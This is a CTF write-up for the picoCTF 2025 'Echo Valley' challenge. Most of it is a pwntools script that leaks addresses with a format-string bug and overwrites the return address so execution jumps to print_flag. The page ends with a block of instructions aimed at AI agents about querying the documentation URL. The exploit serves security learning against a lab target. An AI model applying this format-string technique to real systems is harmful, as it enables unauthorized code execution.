# Echo Valley

## Solution

```python
#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./valley_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("shape-facility.picoctf.net", 51725)
    elif args.GDB:
        gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r

def main():
    r = conn()

    # leak the stack address and base address
    payload_leak = b'%20$p %21$p'
    r.sendlineafter(b'\n', payload_leak)
    r.recvuntil(b'distance: ')

    leak         = r.recvuntil(b'\n', drop=True).split(b' ')
    stack        = int(leak[0],16) - 0x8
    elf.address  = int(leak[1],16) - (elf.sym["main"] + 18)
    win          = elf.sym["print_flag"]
    
    print()
    print(f"stack:  {hex(stack)}")
    print(f"base:   {hex(elf.address)}")
    print(f"win:    {hex(win)}")
    print()

    # payload for editing return address 
    write = {stack : win}
    payload_write = fmtstr_payload(6, write, write_size="short")
    r.sendline(payload_write)
    time.sleep(2)
    r.clean()
    r.sendline(b'exit')
    
    # enjoy the flag
    if args.REMOTE:
        r.recvuntil(b'Here is your flag: ')
        flag = r.recvuntilS(b'}')

        print(flag)
        print()
    else:
        r.recvuntil(b'The Valley Disappears\n')
        msg = r.recvallS()
        print()
        print(msg)
    



if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/picoctf/binary-exploitation/picoctf-2025/echo-valley.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
